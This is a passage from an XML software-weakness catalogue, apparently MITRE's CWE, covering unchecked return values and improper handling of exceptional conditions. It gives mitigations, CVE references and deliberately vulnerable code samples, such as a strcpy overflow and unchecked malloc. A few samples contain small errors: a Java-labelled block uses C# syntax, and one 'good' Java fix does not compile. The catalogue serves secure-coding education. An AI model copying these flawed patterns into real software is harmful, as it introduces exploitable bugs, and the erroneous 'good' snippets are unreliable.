							business-logic conditions. Be careful not to pass sensitive exceptions
							back to the user (CWE-209, CWE-248).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check the results of all functions that return a value and verify that
							the value is expected.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text> Checking the return value of the function will typically be
							sufficient, however beware of race conditions (CWE-362) in a concurrent
							environment. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If using exception handling, catch and throw specific exceptions
							instead of overly-general exceptions (CWE-396, CWE-397). Catch and
							handle exceptions as locally as possible so that exceptions do not
							propagate too far up the call stack (CWE-705). Avoid unchecked or
							uncaught exceptions where feasible (CWE-248).</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text> Using specific exceptions, and ensuring that exceptions are checked,
							helps programmers to anticipate and appropriately handle many unusual
							events that could occur.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-39">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that error messages only contain minimal details that are
							useful to the intended audience, and nobody else. The messages need to
							strike the balance between being too cryptic and not being cryptic
							enough. They should not necessarily reveal the methods that were used to
							determine the error. Such detailed information can be used to refine the
							original attack to increase the chances of success.</Text>
						            <Text>If errors must be tracked in some detail, capture them in log messages
							- but consider what could occur if the log messages can be viewed by
							attackers. Avoid recording highly sensitive information such as
							passwords in any form. Avoid inconsistent messaging that might
							accidentally tip off an attacker about internal state, such as whether a
							username is valid or not.</Text>
						            <Text>Exposing additional information to a potential attacker in the context
							of an exceptional condition can help the attacker determine what attack
							vectors are most likely to succeed beyond DoS.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>Performing extensive input validation does not help with handling
							unusual conditions, but it will minimize their occurrences and will make
							it more difficult for attackers to trigger them. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-38">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If the program must fail, ensure that it fails gracefully (fails
							closed). There may be a temptation to simply let the program fail poorly
							in cases such as low memory conditions, but an attacker may be able to
							assert control before the software has fully exited. Alternately, an
							uncontrolled failure could cause cascading problems with other
							downstream components; for example, the program could send a signal to a
							downstream process so the process immediately knows that a problem has
							occurred and has a better chance of recovery.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use system limits, which should help to prevent resource exhaustion.
							However, the software should still handle low resource conditions since
							they may still occur.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-7">
					          <Intro_Text>Consider the following code segment:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char buf[10], cp_buf[10];</Code>
							              <Code>fgets(buf, 10, stdin);</Code>
							              <Code>strcpy(cp_buf, buf);</Code>
						            </Block>
						            <Text>The programmer expects that when fgets() returns, buf will contain a
							null-terminated string of length 9 or less. But if an I/O error occurs,
							fgets() will not null-terminate buf. Furthermore, if the end of the file
							is reached before any characters are read, fgets() returns without
							writing anything to buf. In both of these situations, fgets() signals
							that something unusual has happened by returning NULL, but in this code,
							the warning will not be noticed. The lack of a null terminator in buf
							can result in a buffer overflow in the subsequent call to strcpy().
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-8">
					          <Intro_Text>The following code does not check to see if memory allocation
						succeeded before attempting to use the pointer returned by
						malloc().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>buf = (char*) malloc(req_size);</Code>
							              <Code>strncpy(buf, xfer, req_size);</Code>
						            </Block>
						            <Text>The traditional defense of this coding error is: "If my program runs
							out of memory, it will fail. It doesn't matter whether I handle the
							error or simply allow the program to die with a segmentation fault when
							it tries to dereference the null pointer." This argument ignores three
							important considerations:</Text>
						            <Block Block_Nature="List">
							              <Text>Depending upon the type and size of the application, it may be
								possible to free memory that is being used elsewhere so that
								execution can continue.</Text>
							              <Text>It is impossible for the program to perform a graceful exit if
								required. If the program is performing an atomic operation, it can
								leave the system in an inconsistent state.</Text>
							              <Text> The programmer has lost the opportunity to record diagnostic
								information. Did the call to malloc() fail because req_size was too
								large or because there were too many requests being handled at the
								same time? Or was it caused by a memory leak that has built up over
								time? Without handling the error, there is no way to know.</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-9">
					          <Intro_Text>The following code loops through a set of users, reading a private
						data file for each user. The programmer assumes that the files are always 1
						kilobyte in size and therefore ignores the return value from Read(). If an
						attacker can create a smaller file, the program will recycle the remainder
						of the data from the previous user and handle it as though it belongs to the
						attacker.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>char[] byteArray = new char[1024];</Code>
							              <Code>for (IEnumerator i=users.GetEnumerator(); i.MoveNext()
								;i.Current()) {</Code>
							              <Block>
								                <Code>String userName = (String) i.Current();</Code>
								                <Code>String pFileName = PFILE_ROOT + "/" + userName;</Code>
								                <Code>StreamReader sr = new StreamReader(pFileName);</Code>
								                <Code>sr.Read(byteArray,0,1024);//the file is always 1k bytes</Code>
								                <Code>sr.Close();</Code>
								                <Code>processPFile(userName, byteArray);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>FileInputStream fis;</Code>
							              <Code>byte[] byteArray = new byte[1024];</Code>
							              <Code>for (Iterator i=users.iterator(); i.hasNext();) {</Code>
							              <Block>
								                <Code>String userName = (String) i.next();</Code>
								                <Code>String pFileName = PFILE_ROOT + "/" + userName;</Code>
								                <Code>FileInputStream fis = new FileInputStream(pFileName);</Code>
								                <Code>fis.read(byteArray); // the file is always 1k bytes</Code>
								                <Code>fis.close();</Code>
								                <Code>processPFile(userName, byteArray);</Code>
								                <Code/>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-10">
					          <Intro_Text>The following code does not check to see if the string returned by
						getParameter() is null before calling the member function compareTo(),
						potentially causing a NULL dereference.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String itemName = request.getParameter(ITEM_NAME);</Code>
							              <Code>if (itemName.compareTo(IMPORTANT_ITEM) == 0) {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following code does not check to see if the string returned by the
							Item property is null before calling the member function Equals(),
							potentially causing a NULL dereference. </Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String itemName = request.Item(ITEM_NAME);</Code>
							              <Code>if (itemName.Equals(IMPORTANT_ITEM)) {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The traditional defense of this coding error is: "I know the requested
							value will always exist because.... If it does not exist, the program
							cannot perform the desired behavior so it doesn't matter whether I
							handle the error or simply allow the program to die dereferencing a null
							value." But attackers are skilled at finding unexpected paths through
							programs, particularly when exceptions are involved.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-11">
					          <Intro_Text>The following code shows a system property that is set to null and
						later dereferenced by a programmer who mistakenly assumes it will always be
						defined.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>System.clearProperty("os.name");</Code>
							              <Code>...</Code>
							              <Code>String os = System.getProperty("os.name");</Code>
							              <Code>if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not
								supported");</Code>
						            </Block>
						            <Text>The traditional defense of this coding error is: "I know the requested
							value will always exist because.... If it does not exist, the program
							cannot perform the desired behavior so it doesn't matter whether I
							handle the error or simply allow the program to die dereferencing a null
							value." But attackers are skilled at finding unexpected paths through
							programs, particularly when exceptions are involved.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-12">
					          <Intro_Text>The following VB.NET code does not check to make sure that it has
						read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to
						operate on an unexpected value.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>.NET</Code_Example_Language>
							              <Code>Dim MyFile As New FileStream("myfile.txt", FileMode.Open,
								FileAccess.Read, FileShare.Read)</Code>
							              <Code>Dim MyArray(50) As Byte</Code>
							              <Code>MyFile.Read(MyArray, 0, 50)</Code>
							              <Code>DoDangerousOperation(MyArray(20))</Code>
						            </Block>
						            <Text>In .NET, it is not uncommon for programmers to misunderstand Read()
							and related methods that are part of many System.IO classes. The stream
							and reader classes do not consider it to be unusual or exceptional if
							only a small amount of data becomes available. These classes simply add
							the small amount of data to the return buffer, and set the return value
							to the number of bytes or characters read. There is no guarantee that
							the amount of data returned is equal to the amount of data requested.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-1">
					          <Intro_Text>This example takes an IP address from a user, verifies that it is
						well formed and then looks up the hostname and copies it into a
						buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void host_lookup(char *user_supplied_addr){</Code>
							              <Block>
								                <Code>struct hostent *hp;</Code>
								                <Code>in_addr_t *addr;</Code>
								                <Code>char hostname[64];</Code>
								                <Code>in_addr_t inet_addr(const char *cp);</Code>
								                <Code/>
								                <Comment>/*routine that ensures user_supplied_addr is in the right
									format for conversion */</Comment>
								                <Code>validate_addr_form(user_supplied_addr);</Code>
								                <Code>addr = inet_addr(user_supplied_addr);</Code>
								                <Code>hp = gethostbyaddr( addr, sizeof(struct in_addr),
									AF_INET);</Code>
								                <Code>strcpy(hostname, hp-&gt;h_name);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If an attacker provides an address that appears to be well-formed, but
							the address does not resolve to a hostname, then the call to
							gethostbyaddr() will return NULL. When this occurs, a NULL pointer
							dereference (CWE-476) will occur in the call to strcpy().</Text>
						            <Text>Note that this example is also vulnerable to a buffer overflow (see
							CWE-119).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text> In the following C/C++ example the method outputStringToFile opens
						a file in the local filesystem and outputs a string to the file. The input
						parameters output and filename contain the string to output to the file and
						the name of the file respectively. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int outputStringToFile(char *output, char *filename) {</Code>
							              <Block>
								                <Code/>
								                <Code>openFileToWrite(filename);</Code>
								                <Code>writeToFile(output);</Code>
								                <Code>closeFile(filename);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, this code does not check the return values of the methods
							openFileToWrite, writeToFile, closeFile to verify that the file was
							properly opened and closed and that the string was successfully written
							to the file. The return values for these methods should be checked to
							determine if the method was successful and allow for detection of errors
							or unexpected conditions as in the following example.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int outputStringToFile(char *output, char *filename) {</Code>
							              <Block>
								                <Code>int isOutput = SUCCESS;</Code>
								                <Code/>
								                <Code>int isOpen = openFileToWrite(filename);</Code>
								                <Code>if (isOpen == FAIL) {</Code>
								                <Block>
									                  <Code>printf("Unable to open file %s", filename);</Code>
									                  <Code>isOutput = FAIL;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>int isWrite = writeToFile(output);</Code>
									                  <Code>if (isWrite == FAIL) {</Code>
									                  <Block>
										                    <Code>printf("Unable to write to file %s", filename);</Code>
										                    <Code>isOutput = FAIL;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>int isClose = closeFile(filename);</Code>
									                  <Code>if (isClose == FAIL)</Code>
									                  <Block>
										                    <Code>isOutput = FAIL;</Code>
									                  </Block>
								                </Block>
								                <Code>}</Code>
								                <Code>return isOutput;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text> In the following Java example the method readFromFile uses a
						FileReader object to read the contents of a file. The FileReader object is
						created using the File object readFile, the readFile object is initialized
						using the setInputFile method. The setInputFile method should be called
						before calling the readFromFile method. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private File readFile = null;</Code>
							              <Code/>
							              <Code>public void setInputFile(String inputFile) {</Code>
							              <Block>
								                <Comment>// create readFile File object from string containing name
									of file</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public void readFromFile() {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>reader = new FileReader(readFile);</Code>
									                  <Code/>
									                  <Comment>// read input file</Comment>
									                  <Code/>
								                </Block>
								                <Code>} catch (FileNotFoundException ex) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> However, the readFromFile method does not check to see if the
							readFile object is null, i.e. has not been initialized, before creating
							the FileReader object and reading from the input file. The readFromFile
							method should verify whether the readFile object is null and output an
							error message and raise an exception if the readFile object is null, as
							in the following code. </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private File readFile = null;</Code>
							              <Code/>
							              <Code>public void setInputFile(String inputFile) {</Code>
							              <Block>
								                <Comment>// create readFile File object from string containing name
									of file</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public void readFromFile() {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>if (readFile == null) {</Code>
									                  <Block>
										                    <Code>System.err.println("Input file has not been set, call
											setInputFile method before calling
											openInputFile");</Code>
										                    <Code>throw NullPointerException;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>reader = new FileReader(readFile);</Code>
									                  <Code/>
									                  <Comment>// read input file</Comment>
									                  <Code/>
								                </Block>
								                <Code>} catch (FileNotFoundException ex) {...}</Code>
								                <Code>catch (NullPointerException ex) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3798</Observed_Example_Reference>
					          <Observed_Example_Description>Unchecked return value leads to resultant integer
						overflow and code execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4447</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not check return value when invoking
						functions to drop privileges, which could leave users with higher privileges
						than expected by forcing those functions to
						fail.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2916</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not check return value when invoking
						functions to drop privileges, which could leave users with higher privileges
						than expected by forcing those functions to
						fail.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Program Building Blocks" Page
						341</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 1, "Exceptional Conditions," Page
						22</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 11: Failure to Handle Errors Correctly." Page
						183</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 15 - Improper Check for Unusual or
						Exceptional Conditions</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-15</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/15/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee exception safety</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR39-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
					          <Submission_Comment>New entry for reorganization of
						CWE-703.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Demonstrative_Examples, Description, Detection_Factors, Name,
						Observed_Examples, Potential_Mitigations, References,
						Related_Attack_Patterns, Relationship_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Detection_Factors,
						Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Improper Check for
						Exceptional Conditions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="755" Name="Improper Handling of Exceptional Conditions" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles an
					exceptional condition.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-Independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4302</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: OS kernel does not properly handle a
						failure of a function call (CWE-755), leading to an unlock of a resource
						that was not locked (CWE-832), with resultant
						crash.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee exception safety</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR39-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
					          <Submission_Comment>New entry for reorganization of
						CWE-703.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="756" Name="Missing Custom Error Page" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not return custom error pages to the user,
					possibly exposing sensitive information.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>755</Relationship_Target_ID>
					          <!--Improper Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
